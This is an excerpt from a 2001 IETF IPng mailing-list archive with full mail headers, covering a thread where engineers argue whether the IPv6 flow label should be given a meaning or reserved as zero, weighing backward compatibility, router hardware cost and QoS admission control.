D4B47D97CE; Wed, 26 Dec 2001 17:31:00 -0500 (EST) From: "Perry E. Metzger" To: Keith Moore Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> Date: 26 Dec 2001 17:31:00 -0500 In-Reply-To: <200112262226.fBQMQwi25685@astro.cs.utk.edu> Message-ID: <878zbp8vh7.fsf@snark.piermont.com> Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith Moore writes: > > Windows XP and such > > aren't going to be obeying any of this, so the routers have to look at > > the contents of the packets anyway. > > Shall we forever constrain IPv6 to support only what is now supported by > Microsoft? No, but the further along the deployment curve you get, the more seriously you have to examine changes. We're far enough along that changes have to be made with the utmost of conservatism, and have to be made under the premise that backward compatibility can no longer be sacrificed. In other words, yah, we kind of have to accept that a large chunk of the end nodes are going to run XP for the foreseeable future. -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 14:31:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQMVWZR019326 for ; Wed, 26 Dec 2001 14:31:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQMVWXT019325 for ipng-dist; Wed, 26 Dec 2001 14:31:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQMVSZR019318 for ; Wed, 26 Dec 2001 14:31:28 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06479 for ; Wed, 26 Dec 2001 14:31:31 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA20628 for ; Wed, 26 Dec 2001 14:31:31 -0800 (PST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id fBQMVTi25817; Wed, 26 Dec 2001 17:31:29 -0500 (EST) Message-Id: <200112262231.fBQMVTi25817@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Perry E. Metzger" cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-reply-to: Your message of "25 Dec 2001 08:47:24 EST." <87g05zfm37.fsf@snark.piermont.com> Date: Wed, 26 Dec 2001 17:31:29 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > My personal taste is that we rename the field "Reserved -- must be > zero" so that people quit coming up with proposals just because, as > one person at Salt Lake City put it, "it is embarrassing that we have a > flow label field but nothing uses it so we should come up with a use" if we do this, please say that: hosts sending packets must fill the field with zero receiving hosts must ignore the field forwarding engines must leave the field unchanged else, it will never be possible to use those bits in a standard because somebody will have already used them. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 15:01:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQN1SZR019373 for ; Wed, 26 Dec 2001 15:01:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQN1SH4019372 for ipng-dist; Wed, 26 Dec 2001 15:01:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQN1OZR019365 for ; Wed, 26 Dec 2001 15:01:24 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA00603 for ; Wed, 26 Dec 2001 15:01:25 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA17258 for ; Wed, 26 Dec 2001 16:01:24 -0700 (MST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id fBQN1Li26221; Wed, 26 Dec 2001 18:01:21 -0500 (EST) Message-Id: <200112262301.fBQN1Li26221@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Perry E. Metzger" cc: Keith Moore , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-reply-to: Your message of "26 Dec 2001 17:31:00 EST." <878zbp8vh7.fsf@snark.piermont.com> Date: Wed, 26 Dec 2001 18:01:21 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > Windows XP and such > > > aren't going to be obeying any of this, so the routers have to look at > > > the contents of the packets anyway. > > > > Shall we forever constrain IPv6 to support only what is now supported by > > Microsoft? > > No, but the further along the deployment curve you get, the more > seriously you have to examine changes the more seriously you have to examine *incompatible* changes. > we kind of have to accept that a > large chunk of the end nodes are going to run XP for the foreseeable > future. to hell with XP. if we find a good use for flow label, and XP doesn't support it, the poor folks using XP (and other legacy systems) will either have to deal with either not being able to take advantage of that feature, or they'll upgrade. Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 16:01:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR01sZR019446 for ; Wed, 26 Dec 2001 16:01:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR01rJa019445 for ipng-dist; Wed, 26 Dec 2001 16:01:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR01oZR019438 for ; Wed, 26 Dec 2001 16:01:50 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA05178 for ; Wed, 26 Dec 2001 16:01:52 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA04797 for ; Wed, 26 Dec 2001 16:01:52 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fBR01S102482; Wed, 26 Dec 2001 16:01:28 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO71914; Wed, 26 Dec 2001 16:01:12 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA08601; Wed, 26 Dec 2001 16:01:45 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15402.25833.309105.410883@thomasm-u1.cisco.com> Date: Wed, 26 Dec 2001 16:01:45 -0800 (PST) To: Scott Bradner Cc: kempf@docomolabs-usa.com, perry@wasabisystems.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <200112261857.fBQIv8q12264@newdev.harvard.edu> References: <200112261857.fBQIv8q12264@newdev.harvard.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott Bradner writes: > > The traffic field gives the classification. The flow label > > could serve as a proxy for the port number and > > protocol type, > > the whole point of class-based QoS is to not have to deal at the > port and protocol level Yes, and it almost always means "let's ignore admission control" too. Just to make things clear, are you thinking of RFC 2996 style reservations or none at all. If the latter, all I can say is heaven help us if 911 happened on an uncontrolled diffserv cloud. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 16:23:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR0NrZR019480 for ; Wed, 26 Dec 2001 16:23:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR0NraS019479 for ipng-dist; Wed, 26 Dec 2001 16:23:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR0NnZR019472 for ; Wed, 26 Dec 2001 16:23:49 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA16213 for ; Wed, 26 Dec 2001 16:23:51 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA22371 for ; Wed, 26 Dec 2001 16:23:50 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBR0NoU13034; Wed, 26 Dec 2001 19:23:50 -0500 (EST) Date: Wed, 26 Dec 2001 19:23:50 -0500 (EST) From: Scott Bradner Message-Id: <200112270023.fBR0NoU13034@newdev.harvard.edu> To: mat@cisco.com, sob@harvard.edu Subject: Re: Flow Label Cc: ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com, perry@wasabisystems.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Yes, and it almost always means "let's ignore > admission control" too. yes, and that will be a real problem wherever the level of priority traffic approaches the size of the links (which could easily happen if video traffic gets prioritized) Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 16:29:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR0TDZR019520 for ; Wed, 26 Dec 2001 16:29:13 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR0TDwX019519 for ipng-dist; Wed, 26 Dec 2001 16:29:13 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR0TAZR019512 for ; Wed, 26 Dec 2001 16:29:10 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA15705 for ; Wed, 26 Dec 2001 16:29:12 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA28372 for ; Wed, 26 Dec 2001 17:29:11 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fBR0TAM23478; Wed, 26 Dec 2001 16:29:10 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO72186; Wed, 26 Dec 2001 16:28:36 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA08607; Wed, 26 Dec 2001 16:29:09 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15402.27477.207404.821935@thomasm-u1.cisco.com> Date: Wed, 26 Dec 2001 16:29:09 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87ofkmapw3.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> <87g05zds04.fsf@snark.piermont.com> <15401.63834.984524.789399@thomasm-u1.cisco.com> <87ofkmapw3.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > Michael Thomas writes: > > Perry E. Metzger writes: > > > I'm looking for statements from several router vendors that look much > > > like this: > > > > I don't speak for Cisco. I speak for myself. > > > > Sorry. > > Well, speaking for yourself, can you describe your simulations of > hardware performance with and without the flow label? I'm not especially interested in this game because some hardware geek somewhere is bound to throw enough transistors at the problem and claim that it doable. Big deal. It's an empty claim because it doesn't say what was given up in the process. I have witnessed firsthand hardware engineers on high end platforms react somewhere between disbelief and outright hostility at the prospect of chasing down header chains at line rate. CAM's -- as I've mention three times now -- are especially sensitive to bone headed standards potato blunders of this kind; I forget, but the transistor count is O(n^2) or maybe worse with the number of bits needed to form the key. IP6 is already at a big disadvantage given the need to key off of ~256 bits vs. 64 bits just for addresses. And lest you think that I'm just concerned about CAM based forwarding planes, think again; they all need to view enough of the header to classify, and that always impacts silicon as it gets bigger. Thus you get these choices: pay more than you should have, get worse performance, or delete other features you might have liked to go faster on a finite transistor budget. Oh, and you might ask your hardware vendors who claim to do this whether they can deal with flow classification of mobile IP with route optimization at line rate. And since MIPv6 route optimization is about as stable as jello, will they have the resilience to change their flow classier if it changes too? Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 16:52:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR0qLZR019565 for ; Wed, 26 Dec 2001 16:52:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR0qLjV019564 for ipng-dist; Wed, 26 Dec 2001 16:52:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR0qHZR019557 for ; Wed, 26 Dec 2001 16:52:17 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA09020 for ; Wed, 26 Dec 2001 16:52:19 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA20148 for ; Wed, 26 Dec 2001 17:52:18 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id D02C8D97C5; Wed, 26 Dec 2001 19:52:17 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> <87g05zds04.fsf@snark.piermont.com> <15401.63834.984524.789399@thomasm-u1.cisco.com> <87ofkmapw3.fsf@snark.piermont.com> <15402.27477.207404.821935@thomasm-u1.cisco.com> Date: 26 Dec 2001 19:52:17 -0500 In-Reply-To: <15402.27477.207404.821935@thomasm-u1.cisco.com> Message-ID: <87y9jp4h8e.fsf@snark.piermont.com> Lines: 41 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > > > > I'm looking for statements from several router vendors that look much > > > > like this: > > > > > > I don't speak for Cisco. I speak for myself. > > > > > > Sorry. > > > > Well, speaking for yourself, can you describe your simulations of > > hardware performance with and without the flow label? > > I'm not especially interested in this game > because some hardware geek somewhere is > bound to throw enough transistors at the > problem and claim that it doable. Big deal. "I'm not interested in this game" = "I don't care to give evidence for my position -- I'm just going to assert something is needed." "Hardware geek" = "people that make the routers actually work these days, and without whom all of us would be up the creek." > I have witnessed firsthand hardware engineers on high end > platforms react somewhere between disbelief and outright > hostility at the prospect of chasing down header chains at line > rate. Given the fact that IPv6 headers have to be processed in some circumstances by routers -- and perhaps most of the time in the future -- it would seem that they're going to have to cope with their disbelief. Of course, it appears that folks from several vendors already have coped with this disbelief and have working hardware. -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 17:00:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR106ZR019596 for ; Wed, 26 Dec 2001 17:00:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR106Ti019595 for ipng-dist; Wed, 26 Dec 2001 17:00:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR103ZR019588 for ; Wed, 26 Dec 2001 17:00:03 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA18228 for ; Wed, 26 Dec 2001 17:00:05 -0800 (PST) Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA21233 for ; Wed, 26 Dec 2001 18:00:05 -0700 (MST) Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with SMTP id UAA26435 for ; Wed, 26 Dec 2001 20:00:03 -0500 (EST) From: "Subrata Goswami" To: Subject: RE: Flow Label Date: Wed, 26 Dec 2001 17:04:14 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <15402.27477.207404.821935@thomasm-u1.cisco.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Well, the need to reduce silicon real estate is very noble indeed. The price and density of silicon goes down by a factor of 2 every 2 years so, and the flow-label legacy would probably last beyond that. So the pertinent question to answer would be how do we assign the bits in a way that they would still be useful 10 years from now. Subrata -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Michael Thomas Sent: Wednesday, December 26, 2001 4:29 PM To: Perry E. Metzger Cc: Michael Thomas; ipng@sunroof.eng.sun.com Subject: Re: Flow Label Perry E. Metzger writes: > Michael Thomas writes: > > Perry E. Metzger writes: > > > I'm looking for statements from several router vendors that look much > > > like this: > > > > I don't speak for Cisco. I speak for myself. > > > > Sorry. > > Well, speaking for yourself, can you describe your simulations of > hardware performance with and without the flow label? I'm not especially interested in this game because some hardware geek somewhere is bound to throw enough transistors at the problem and claim that it doable. Big deal. It's an empty claim because it doesn't say what was given up in the process. I have witnessed firsthand hardware engineers on high end platforms react somewhere between disbelief and outright hostility at the prospect of chasing down header chains at line rate. CAM's -- as I've mention three times now -- are especially sensitive to bone headed standards potato blunders of this kind; I forget, but the transistor count is O(n^2) or maybe worse with the number of bits needed to form the key. IP6 is already at a big disadvantage given the need to key off of ~256 bits vs. 64 bits just for addresses. And lest you think that I'm just concerned about CAM based forwarding planes, think again; they all need to view enough of the header to classify, and that always impacts silicon as it gets bigger. Thus you get these choices: pay more than you should have, get worse performance, or delete other features you might have liked to go faster on a finite transistor budget. Oh, and you might ask your hardware vendors who claim to do this whether they can deal with flow classification of mobile IP with route optimization at line rate. And since MIPv6 route optimization is about as stable as jello, will they have the resilience to change their flow classier if it changes too? Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 22:30:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR6UCZR019763 for ; Wed, 26 Dec 2001 22:30:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR6UCim019762 for ipng-dist; Wed, 26 Dec 2001 22:30:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR6U9ZR019755 for ; Wed, 26 Dec 2001 22:30:09 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA01139 for ; Wed, 26 Dec 2001 22:30:12 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA27962 for ; Wed, 26 Dec 2001 23:30:09 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBR6So501445; Thu, 27 Dec 2001 13:28:51 +0700 (ICT) From: Robert Elz To: "Perry E. Metzger" cc: Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: Round and round Re: Flow Label In-Reply-To: <87wuzaaq0p.fsf@snark.piermont.com> References: <87wuzaaq0p.fsf@snark.piermont.com> <87pu54msw4.fsf@snark.piermont.com> <3C29E408.B6A07738@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 27 Dec 2001 13:28:50 +0700 Message-ID: <1443.1009434530@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: 26 Dec 2001 11:45:58 -0500 From: "Perry E. Metzger" Message-ID: <87wuzaaq0p.fsf@snark.piermont.com> | I'll repeat (broken-record like), we've already deployed the end point | implementations in the field. We can't change those stacks at this | point. There are two points there. First, as Keith said, this is nonsense, nothing that is being discussed here has any impact upon deployed nodes (other things that could be discussed would, this doesn't). The very worst is that users of currently shipping OS's might not be able to take advantage of some benefit in the future, and might need to upgrade. But that's hardly a new concept. But if what you say were true, the result would be that you'd be arguing for exactly the opposite of what you seem to believe that you are. That is, assuming that XP has implemented an interface anything like that defined in 2553 (and while I've never seen an XP, I'd be surprised if they hadn't) then the ability to set the flow label already exists. That is ... struct sockaddr_in6 { sa_family_t sin6_family; /* AF_INET6 */ in_port_t sin6_port; /* transport layer port # */ uint32_t sin6_flowinfo; /* IPv6 traffic class & flow info */ struct in6_addr sin6_addr; /* IPv6 address */ uint32_t sin6_scope_id; /* set of interfaces for a scope */ }; That means, that if we were to make the field "reserved, must be zero" then there's no way the shipped implementations could comply, as they will probably already allow applications to set the value to anything they want. On the other hand, if we (or someone) simply define a meaning for the bits, then all that should be required is for someone to install an application that uses them in the defined way. That is, the "already shipping" argument in this case has the exact opposite effect than you're claiming that it does. Now for the already shipping IPv6 routers things are different - but the volume of those is on a different plane, and they tend to be operated by people who also know how to upgrade them to newer code if that turns out to be needed to support something they want to offer. That is, if using the flow label is needed (or useful) to support some QoS paradigm, and the router (or its owner) wants to support that, then making the router do it won't be at all impossible. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 22:32:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR6WoZR019786 for ; Wed, 26 Dec 2001 22:32:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBR6Wofn019785 for ipng-dist; Wed, 26 Dec 2001 22:32:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBR6WlZR019778 for ; Wed, 26 Dec 2001 22:32:47 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM 